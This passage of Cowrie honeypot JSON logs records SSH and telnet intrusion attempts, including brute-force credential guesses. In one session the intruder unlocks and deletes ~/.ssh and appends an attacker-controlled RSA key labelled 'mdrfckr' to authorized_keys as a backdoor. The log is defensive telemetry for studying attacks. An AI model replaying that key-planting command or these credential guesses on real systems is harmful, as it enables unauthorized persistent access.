a2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:27.102489Z","src_ip":"152.32.238.146","session":"5098760ac634","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"password","message":"login attempt [user3/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:27.158506Z","src_ip":"156.251.179.157","session":"5723315321d8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123qwe","message":"login attempt [steam/123qwe] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:27.190594Z","src_ip":"152.32.238.146","session":"5098760ac634","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:27.261680Z","src_ip":"152.32.238.146","session":"5098760ac634","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:27.265223Z","src_ip":"152.32.238.146","session":"5098760ac634","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:27.269001Z","src_ip":"152.32.238.146","session":"5098760ac634","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:27.285345Z","src_ip":"152.32.238.146","session":"5098760ac634","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:27.343970Z","src_ip":"152.32.238.146","session":"5098760ac634","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:27.348386Z","src_ip":"152.32.238.146","session":"5098760ac634","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:27.371870Z","src_ip":"152.32.238.146","session":"5098760ac634","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:27.375793Z","src_ip":"152.32.238.146","session":"5098760ac634","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":50132,"dst_ip":"10.17.0.5","dst_port":22,"session":"de861a7d8492","protocol":"ssh","message":"New connection: 152.32.238.146:50132 (10.17.0.5:22) [session: de861a7d8492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:27.382773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:27.393221Z","src_ip":"152.32.238.146","session":"de861a7d8492","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:27.405715Z","src_ip":"152.32.238.146","session":"de861a7d8492","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:27.493946Z","src_ip":"152.32.238.146","session":"de861a7d8492","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:28.381891Z","src_ip":"156.251.179.157","session":"5723315321d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:28.507973Z","src_ip":"152.32.238.146","session":"de861a7d8492","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":36840,"dst_ip":"10.17.0.5","dst_port":22,"session":"0db40a9acdaf","protocol":"ssh","message":"New connection: 152.32.238.146:36840 (10.17.0.5:22) [session: 0db40a9acdaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:28.514967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:28.524235Z","src_ip":"152.32.238.146","session":"0db40a9acdaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:28.531482Z","src_ip":"152.32.238.146","session":"0db40a9acdaf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:28.607319Z","src_ip":"152.32.238.146","session":"0db40a9acdaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:28.629395Z","src_ip":"152.32.238.146","session":"5098760ac634","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:28.634393Z","src_ip":"152.32.238.146","session":"0db40a9acdaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.150.226.61","src_port":38412,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b13d421b73b","protocol":"telnet","message":"New connection: 103.150.226.61:38412 (159.203.135.109:23) [session: 1b13d421b73b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:29.258555Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.150.226.61","src_port":38424,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4101942421e","protocol":"telnet","message":"New connection: 103.150.226.61:38424 (159.203.135.109:23) [session: a4101942421e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:31.313136Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":37388,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e29d9a11a3d","protocol":"ssh","message":"New connection: 156.251.179.157:37388 (10.17.0.5:22) [session: 5e29d9a11a3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:33.861695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:33.940008Z","src_ip":"156.251.179.157","session":"5e29d9a11a3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:34.280916Z","src_ip":"156.251.179.157","session":"5e29d9a11a3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali@44","message":"login attempt [ali/ali@44] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:35.774148Z","src_ip":"156.251.179.157","session":"5e29d9a11a3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:36.994564Z","src_ip":"156.251.179.157","session":"5e29d9a11a3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.150.226.61","src_port":44306,"dst_ip":"159.203.135.109","dst_port":23,"session":"339479f8b0a6","protocol":"telnet","message":"New connection: 103.150.226.61:44306 (159.203.135.109:23) [session: 339479f8b0a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:38.418064Z"}
{"eventid":"cowrie.session.closed","duration":31.274786233901978,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:39.189035Z","src_ip":"103.150.226.61","session":"e0f6cb1d4ce9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"143.64.168.136","src_port":32992,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d260ba2d33d","protocol":"ssh","message":"New connection: 143.64.168.136:32992 (10.17.0.5:22) [session: 7d260ba2d33d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:39.620123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:39.627807Z","src_ip":"143.64.168.136","session":"7d260ba2d33d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:39.871920Z","src_ip":"143.64.168.136","session":"7d260ba2d33d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.150.226.61","src_port":44312,"dst_ip":"159.203.135.109","dst_port":23,"session":"c20b6877a78d","protocol":"telnet","message":"New connection: 103.150.226.61:44312 (159.203.135.109:23) [session: c20b6877a78d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:40.479523Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc@1234","message":"login attempt [test/abc@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:40.881667Z","src_ip":"143.64.168.136","session":"7d260ba2d33d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.150.226.61","src_port":44328,"dst_ip":"159.203.135.109","dst_port":23,"session":"f69b0079a885","protocol":"telnet","message":"New connection: 103.150.226.61:44328 (159.203.135.109:23) [session: f69b0079a885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:42.144691Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47580,"dst_ip":"10.17.0.5","dst_port":23,"session":"34faf0524974","protocol":"telnet","message":"New connection: 104.245.105.2:47580 (10.17.0.5:23) [session: 34faf0524974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:42.908626Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.150.226.61","src_port":44330,"dst_ip":"159.203.135.109","dst_port":23,"session":"a75308706659","protocol":"telnet","message":"New connection: 103.150.226.61:44330 (159.203.135.109:23) [session: a75308706659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:43.798487Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.150.226.61","src_port":44346,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e6c7ea7c40a","protocol":"telnet","message":"New connection: 103.150.226.61:44346 (159.203.135.109:23) [session: 3e6c7ea7c40a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:44.825878Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":38862,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c9173378ae1","protocol":"ssh","message":"New connection: 156.251.179.157:38862 (10.17.0.5:22) [session: 3c9173378ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:45.704035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:45.797568Z","src_ip":"156.251.179.157","session":"3c9173378ae1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:46.107340Z","src_ip":"156.251.179.157","session":"3c9173378ae1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qbtuser","password":"qbtuser","message":"login attempt [qbtuser/qbtuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:47.790043Z","src_ip":"156.251.179.157","session":"3c9173378ae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.150.226.61","src_port":43170,"dst_ip":"159.203.135.109","dst_port":23,"session":"78542b70e485","protocol":"telnet","message":"New connection: 103.150.226.61:43170 (159.203.135.109:23) [session: 78542b70e485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:48.127083Z"}
{"eventid":"cowrie.session.closed","duration":30.415343046188354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:48.265818Z","src_ip":"103.150.226.61","session":"b54edf9468a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:49.015531Z","src_ip":"156.251.179.157","session":"3c9173378ae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":40334,"dst_ip":"10.17.0.5","dst_port":22,"session":"d241c8d9b86f","protocol":"ssh","message":"New connection: 156.251.179.157:40334 (10.17.0.5:22) [session: d241c8d9b86f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:58.563849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:31:58.598145Z","src_ip":"156.251.179.157","session":"d241c8d9b86f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve2551